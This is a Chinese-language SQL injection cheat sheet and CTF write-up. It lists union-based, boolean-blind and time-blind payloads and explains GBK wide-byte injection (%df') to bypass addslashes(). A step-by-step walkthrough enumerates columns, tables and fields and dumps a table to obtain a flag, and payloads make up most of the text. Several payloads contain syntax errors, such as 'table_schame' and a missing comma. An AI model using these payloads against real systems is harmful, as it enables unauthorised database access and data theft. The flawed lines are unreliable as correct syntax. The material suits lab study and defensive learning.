判断注入
-
http://localhost/sqlilabs/Less-1/?id=3'
用单引号测试报错则说明可以注入
若没报错很有可能用addslashes()函数对敏感字符进行了转义。
类型
- 常规注入语句
1' order by num # 确定字段长度
1' union select 1,2,3 # 确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1 在注释符无法使用的情况下
2.bool盲注
1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
3.time盲注
1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
- 宽字节注入
- 前言:关于编码的基础参照之前的文章
先说一下两种编码,gbk和utf-8,最大的区别就是在编码一个汉字时,gbk用两个字节,而utf-8用3个 - 关键:解除addslashes()函数的影响
由于addslashes()函数给敏感字符进行转义,则 ' 会变成 /' ,要解除影响就要想办法去掉 / ,这就是宽字节注入做的事情 - 一般做法:在传入参数的地方传入%df'
原理:由于%df'会被addslashes转义为 %df' 。\的hex编码(16进制编码)为5c,最后就会变为%df%5c'。因为gbk编码认为2个字节是一个汉字,所以%df%5c就被解释为 運,而单引号 ' 就逃逸出来了。最后SQL语句就变为:
SELECT * FROM news WHERE tid='運''
-
总结:宽字节注入也就是想办法绕过对敏感字符输入的限制,之后的步骤和常规操作一样。
-
来个实例:
1.探索
在包头看到gb2312,说明可能存在宽字节注入-
尝试
输入%df'报错,则说明成功绕过转义
3.注入过程
-
猜解字段数
index.php?id=1%bf' order by num %23
其中num为1,2,3时正常,为4时报错说明字段数为3 -
猜解显示位
index.php?id=2%bf' union select 1,2,3 %23
-
获取数据库中表的信息
index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
得到数据库中的表sae_user_sqli4
-
获取字段信息
index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23
注意要把sae_user_sqli4
转化成16进制
得到表中字段如下id,title_1,content_1
-
脱裤
index.php?id=-1%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
得到flag
总结:通过这道题学会那些函数的使用还有一步步注入的思想 字段数->表名->字段名->数据
-
网友评论